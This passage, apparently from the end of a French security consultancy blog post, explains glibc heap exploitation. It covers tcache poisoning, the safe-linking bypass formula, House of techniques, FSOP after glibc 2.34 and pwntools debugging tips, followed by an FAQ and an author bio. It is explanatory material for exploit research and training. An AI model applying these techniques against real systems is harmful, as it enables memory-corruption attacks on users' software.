- Information leak : Obtenir un leak d'adresse (heap base, libc base) via UAF read, format string, ou partial overwrite. Sans leak, l'exploitation est rarement fiable sur les systèmes 64 bits.
- Heap manipulation : Appliquer la technique adaptée (tcache poisoning, fast-bin dup, House of X) pour obtenir un primitif d'écriture arbitraire.
- Exécution de code : Écrire l'adresse de
system/one_gadget dans__free_hook(glibc < 2.34) ou construire une chaîne _IO_FILE (glibc ≥ 2.34) ou une ROP chain.
context.terminal = ['tmux', 'splitw', '-h'] dans vos scripts pwntools pour ouvrir automatiquement GDB dans un split tmux. Utilisez gdb.attach(p, gdbscript='heap bins\nheap chunks') pour attacher GDB avec des commandes préchargées.À retenir
- Le tcache (glibc 2.26+) est la cible principale des attaques heap modernes — sa simplicité LIFO facilite le poisoning
- Le safe-linking (glibc 2.32+) XOR les pointeurs fd mais nécessite seulement un leak de heap pour être contourné
- Les House of techniques ciblent des mécanismes spécifiques selon la version de glibc — de Force (<2.29) à Apple (≥2.34)
- Depuis glibc 2.34, les hooks __free_hook/__malloc_hook sont supprimés — les attaques _IO_FILE/FSOP deviennent essentielles
- L'exploitation heap nécessite toujours un primitif d'information leak pour contourner ASLR et safe-linking
- Le SLUB allocator kernel utilise des slab caches fixes — les techniques de spraying (msg_msg, pipe_buffer) sont adaptées
FAQ — Questions Fréquentes
Quelle est la différence entre un Use-After-Free et un Double-Free ?
Un UAF survient quand un programme accède à la mémoire via un dangling pointer après libération — le problème est l'accès illégitime. Un double-free survient quand free() est appelé deux fois sur le même pointeur — le problème est la corruption des métadonnées de l'allocateur. Un double-free peut créer les conditions d'un UAF (en faisant réallouer le même chunk), mais ce sont des vulnérabilités distinctes avec des primitifs différents.
Pourquoi le tcache est-il plus facile à exploiter que les autres bins ?
Le tcache utilise une liste simplement chaînée LIFO sans vérification d'intégrité des pointeurs (avant glibc 2.32). Pas de safe-unlinking, pas de vérification de taille, et les opérations sont per-thread (sans verrou mutex). Un simple écrasement du pointeur next suffit pour rediriger malloc() vers une adresse arbitraire. Même avec le safe-linking (glibc 2.32+), un seul heap leak suffit pour le contourner.
Comment contourner le safe-linking de glibc 2.32+ ?
Le safe-linking XOR le pointeur next avec (adresse_stockage >> 12). Le premier chunk libre d'un bin a next = NULL, donc la valeur stockée est directement addr >> 12 — un simple read leak les 52 bits de poids fort de l'adresse heap. Avec cette information, le calcul inverse est trivial : fake_next = target XOR (chunk_addr >> 12). Le safe-linking ralentit l'exploitation mais ne l'empêche pas si un leak est disponible.
Quelles sont les techniques d'exploitation post-glibc 2.34 sans hooks ?
Depuis glibc 2.34, __free_hook et __malloc_hook sont supprimés. Les alternatives sont : FSOP (File Stream Oriented Programming) via les structures _IO_FILE et _IO_wide_data — les techniques House of Apple 1/2/3 et House of Kiwi exploitent les vtables _IO pour obtenir l'exécution de code. Autres vecteurs : corruption de la GOT (si pas de Full RELRO), écrasement de __exit_funcs, ou construction d'une chaîne ROP.
Besoin d'un accompagnement expert en sécurité offensive ?
Nos consultants spécialisés en exploitation bas niveau et pentest avancé vous accompagnent dans l'évaluation de votre posture de sécurité.
Contactez-nousTélécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Expert Cybersécurité Offensive & Intelligence Artificielle
Ayi NEDJIMI est consultant senior en cybersécurité offensive et intelligence artificielle, avec plus de 20 ans d'expérience sur des missions à haute criticité. Il dirige Ayi NEDJIMI Consultants, cabinet spécialisé dans le pentest d'infrastructures complexes, l'audit de sécurité et le développement de solutions IA sur mesure.
Ses interventions couvrent l'audit Active Directory et la compromission de domaines, le pentest cloud (AWS, Azure, GCP), la rétro-ingénierie de malwares, le forensics numérique et l'intégration d'IA générative (RAG, agents LLM, fine-tuning). Il accompagne des organisations de toutes tailles — des PME aux grands groupes du CAC 40 — dans leur stratégie de sécurisation.
Contributeur actif à la communauté cybersécurité, il publie régulièrement des analyses techniques, des guides méthodologiques et des outils open source. Ses travaux font référence dans les domaines du pentest AD, de la conformité (NIS2, DORA, RGPD) et de la sécurité des systèmes industriels (OT/ICS).
Ressources & Outils de l'auteur
Articles connexes
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire